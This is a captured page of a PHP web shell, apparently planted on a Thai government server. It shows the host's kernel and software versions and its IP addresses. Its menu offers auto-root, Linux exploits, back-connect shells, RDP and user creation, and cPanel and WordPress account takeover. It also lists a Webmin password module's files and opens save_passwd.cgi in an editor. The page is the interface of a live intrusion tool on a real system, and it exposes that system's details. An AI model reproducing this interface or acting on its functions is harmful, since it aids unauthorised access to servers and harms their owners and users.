Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
cluster-passwd /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
128
B
-rw-r--r--
acl_security.pl
3.62
KB
-rwxr-xr-x
change-passwd.pl
1.84
KB
-rwxr-xr-x
cluster-passwd-lib.pl
4.09
KB
-rwxr-xr-x
config
39
B
-rw-r--r--
config.info
160
B
-rw-r--r--
config.info.ca
188
B
-rw-r--r--
config.info.ca.UTF-8
190
B
-rw-r--r--
config.info.cz
187
B
-rw-r--r--
config.info.cz.UTF-8
206
B
-rw-r--r--
config.info.de
163
B
-rw-r--r--
config.info.de.UTF-8
163
B
-rw-r--r--
config.info.el
188
B
-rw-r--r--
config.info.es
220
B
-rw-r--r--
config.info.es.UTF-8
220
B
-rw-r--r--
config.info.fr
218
B
-rw-r--r--
config.info.fr.UTF-8
220
B
-rw-r--r--
config.info.hr
0
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ms
185
B
-rw-r--r--
config.info.ms.UTF-8
185
B
-rw-r--r--
config.info.ms_MY
187
B
-rw-r--r--
config.info.ms_MY.UTF-8
187
B
-rw-r--r--
config.info.nl
181
B
-rw-r--r--
config.info.nl.UTF-8
181
B
-rw-r--r--
config.info.no
174
B
-rw-r--r--
config.info.no.UTF-8
174
B
-rw-r--r--
config.info.pl
203
B
-rw-r--r--
config.info.pl.UTF-8
214
B
-rw-r--r--
defaultacl
64
B
-rw-r--r--
edit_passwd.cgi
1.45
KB
-rwxr-xr-x
index.cgi
1.65
KB
-rwxr-xr-x
log_parser.pl
447
B
-rwxr-xr-x
module.info
205
B
-rw-r--r--
module.info.ca
124
B
-rw-r--r--
module.info.ca.UTF-8
139
B
-rw-r--r--
module.info.cz
30
B
-rw-r--r--
module.info.cz.UTF-8
37
B
-rw-r--r--
module.info.de
114
B
-rw-r--r--
module.info.de.UTF-8
126
B
-rw-r--r--
module.info.es
45
B
-rw-r--r--
module.info.es.UTF-8
51
B
-rw-r--r--
module.info.fr
50
B
-rw-r--r--
module.info.fr.UTF-8
56
B
-rw-r--r--
module.info.hu
37
B
-rw-r--r--
module.info.hu.UTF-8
46
B
-rw-r--r--
module.info.ms
37
B
-rw-r--r--
module.info.ms.UTF-8
43
B
-rw-r--r--
module.info.ms_MY
124
B
-rw-r--r--
module.info.ms_MY.UTF-8
136
B
-rw-r--r--
module.info.nl
38
B
-rw-r--r--
module.info.nl.UTF-8
44
B
-rw-r--r--
module.info.no
31
B
-rw-r--r--
module.info.no.UTF-8
37
B
-rw-r--r--
module.info.pl
107
B
-rw-r--r--
module.info.pl.UTF-8
124
B
-rw-r--r--
save_passwd.cgi
1.65
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_passwd.cgi
#!/usr/bin/perl # save_passwd.cgi # Change a user's password require './cluster-passwd-lib.pl'; &foreign_require("useradmin", "user-lib.pl"); &error_setup($text{'passwd_err'}); &ReadParse(); @hosts = &cluster_useradmin::list_useradmin_hosts(); @ulist = &get_all_users(\@hosts); ($user) = grep { $_->{'user'} eq $in{'user'} } @ulist; $user || &error($passwd::text{'passwd_euser'}); &can_edit_passwd($user) || &error($passwd::text{'passwd_ecannot'}); # Validate inputs if ($access{'old'} == 1 || $access{'old'} == 2 && $user->{'user'} ne $remote_user) { &useradmin::validate_password($in{'old'}, $user->{'pass'}) || &error($passwd::text{'passwd_eold'}); } if ($access{'repeat'}) { $in{'new'} eq $in{'repeat'} || &error($passwd::text{'passwd_erepeat'}); } $err = &useradmin::check_password_restrictions( $in{'new'}, $user->{'user'}, $user); &error($err) if ($err); # Output header $| = 1; $theme_no_table++; &ui_print_header(undef, $text{'passwd_title'}, ""); # Do it on all servers &modify_on_hosts(\@hosts, $user->{'user'}, $in{'new'}, ($access{'others'} == 1 || $access{'others'} == 2 && $in{'others'}), \&print_func); # Log the change delete($user->{'plainpass'}); delete($user->{'pass'}); &webmin_log("passwd", undef, $user->{'user'}, $user); &ui_print_footer($in{'one'} ? ( "/", $text{'index'} ) : ( "", $passwd::text{'index_return'} )); # print_func(mode, message) sub print_func { if ($_[0] == -1) { print "<b>$_[1]</b><p>\n"; print "<ul>\n"; } elsif ($_[0] == -2) { print "$_[1]<br>\n"; } elsif ($_[0] == -3) { print "$_[1]<p>\n"; } elsif ($_[0] == -4) { print "</ul>\n"; } elsif ($_[0] > 0) { print "$_[1]<p>\n"; print "</ul>\n"; } }
Close
